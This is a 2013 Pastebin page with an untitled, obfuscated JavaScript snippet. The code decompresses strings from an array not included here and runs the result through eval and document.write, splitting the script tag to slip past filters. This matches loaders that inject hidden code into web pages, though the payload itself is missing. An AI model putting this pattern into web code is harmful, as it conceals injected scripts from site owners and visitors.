Pastebin launched a little side project called HostCabi.net, check it out ;-)Pastebin is 300% more awesome when you are logged in. Sign Up, it's FREE!
Guest

Untitled

By: a guest on Jan 28th, 2013  |  syntax: JavaScript  |  size: 1.52 KB  |  hits: 25  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. function ____(_O0) {
  2.     eval(unescape(_O0))
  3. }
  4. var l2 = window.opera ? 1 : 0;
  5.  
  6. function l3(l4) {
  7.     l5 = /zc/g;
  8.     l6 = String.fromCharCode(0);
  9.     l4 = l4.replace(l5, l6);
  10.     var l7 = new Array(),
  11.         l8 = _1 = l4.length,
  12.         l9, lI, il = 16256,
  13.         _1 = 0,
  14.         I = 0,
  15.         li = '';
  16.     do {
  17.         l9 = l4.charCodeAt(_1);
  18.         lI = l4.charCodeAt(++_1);
  19.         l7[I++] = lI + il - (l9 << 7)
  20.     } while (_1++ < l8);
  21.     var l1 = new Array(),
  22.         l0 = new Array(),
  23.         Il = 128;
  24.     do {
  25.         l0[Il] = String.fromCharCode(Il)
  26.     } while (--Il);
  27.     Il = 128;
  28.     l1[0] = li = l0[l7[0]];
  29.     ll = l7[0];
  30.     _l = 1;
  31.     var l_ = l7.length - 1;
  32.     while (_l < l_) {
  33.         switch (l7[_l] < Il ? 1 : 0) {
  34.             case 0:
  35.                 l0[Il] = l0[ll] + String(l0[ll]).substr(0, 1);
  36.                 l1[_l] = l0[Il];
  37.                 if (l2) {
  38.                     li += l0[Il]
  39.                 };
  40.                 break;
  41.             default:
  42.                 l1[_l] = l0[l7[_l]];
  43.                 if (l2) {
  44.                     li += l0[l7[_l]]
  45.                 };
  46.                 l0[Il] = l0[ll] + String(l0[l7[_l]]).substr(0, 1);
  47.                 break
  48.         };
  49.         Il++;
  50.         ll = l7[_l];
  51.         _l++
  52.     };
  53.     if (!l2) {
  54.         return (l1.join(''))
  55.     } else {
  56.         return li
  57.     }
  58. };
  59. var lO = '';
  60. for (ii = 0; ii < OO0O.length; ii++) {
  61.     lO += l3(OO0O[ii])
  62. };
  63. if (naa) {
  64.     document.write('<scr' + 'ipt>' + lO + '</sc' + 'ript>')
  65. }